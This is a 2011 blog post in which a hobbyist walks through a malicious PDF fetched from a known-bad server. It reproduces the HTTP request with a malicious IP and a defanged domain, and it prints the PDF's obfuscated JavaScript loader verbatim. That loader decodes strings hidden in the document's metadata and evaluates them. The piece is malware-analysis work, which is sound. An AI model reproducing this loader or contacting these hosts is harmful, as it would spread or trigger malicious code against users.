• New Sample, Old Exploit.

    by  • February 28, 2011 • Uncategorized

    Last night I pulled down a PDF off the network, ran it through my PDF X-RAY (unreleased – still waiting on the conference feedback) tool and was happy to see another new entry that could be added to the collection. The PDF itself came from a known bad address that usually serves up PDFs most haven’t seen along with a bunch of malicious JARs. When I started probing into the document I was amused at how simple and open everything was, so I thought I would take a crack at figuring it all out. 

    * DISCLAIMER * 

    I am NOT a hired reverse engineer and toy with this stuff for fun. If I am wrong or mistaken then please feel free to correct me. 

    Below is my walkthrough of the file from initial sighting to end result.

    The initial GET request was to the following (46.252.131.22):

    GET /7540fd.pdf HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/x-esobi, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: hXXp://nalmeron.cz.cc/in.php?a=QQkFBg0MAwAFAgYAEkcJBQYNDAMCAQQHDQ== Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SearchToolbar 1.2; SLCC1; .NET CLR 2. 0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Accept-Encoding: gzip, deflate Host: nalmeron.cz.cc Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/0.8.54 Date: Sun, 27 Feb 2011 14:50:58 GMT Content-Type: application/pdf Content-Length: 26409 Last-Modified: Sun, 27 Feb 2011 12:44:43 GMT Connection: keep-alive Accept-Ranges: bytes  

    To give some background on this malicious IP:

    • Seen a few times a week serving JARs and PDFs
    • Always resolves back to a .cc domain
    • Referrer always contains the “in.php?a=QQkFBg0MAwAFAgYAEkcJBQYNDAMCAQQHDQ==”
    • Visiting referrer downloads JAR and executes
    • PDFs are usually unavailable (potential time attacks?)

    I have seen other PDFs from this host before, but they usually follow the same sort of structure that includes a bunch of embedded files within each other. Several encoding methods are used and usually it is the payload that changes, not the rest of the file. 

    What struck me odd with this PDF was how open all the code was, how the JavaScript itself appeared to be escaped and how the potential payload appeared in plainsite. As stated, I am not a reverse engineer, so this one looked good to practice on. 

    Using PDF X-RAY (custom tools), I was able to quickly get a glance of the structure and different components. Here was the initial JavaScript located in plainsite:

    var g = 4;var CsfojuhyrAhe = this.producer;var SefgOzlveig=function(){return {sd:this}}().sd;XkIh=SefgOzlveig[this.subject];CuviwiqorymfIwuhuxe=XkIh(this.title);CsfojuhyrAhe = CsfojuhyrAhe.replace(/t/g,'2');FgOko = XkIh('['+CsfojuhyrAhe+']');var Pawenozezyl = '';for (uhyweZal = 0; uhyweZal < FgOko.length; uhyweZal++) {HymilodIni = FgOko[uhyweZal];Pawenozezyl += CuviwiqorymfIwuhuxe(HymilodIni);}XkIh(Pawenozezyl);

     

    Even with a successful crash I was left with the following questions:

    • How could the JS run when it was escaped?
    • Could Adobe values get called through the local scope?
    • How was the payload translated into something meaningful?

     

     

    About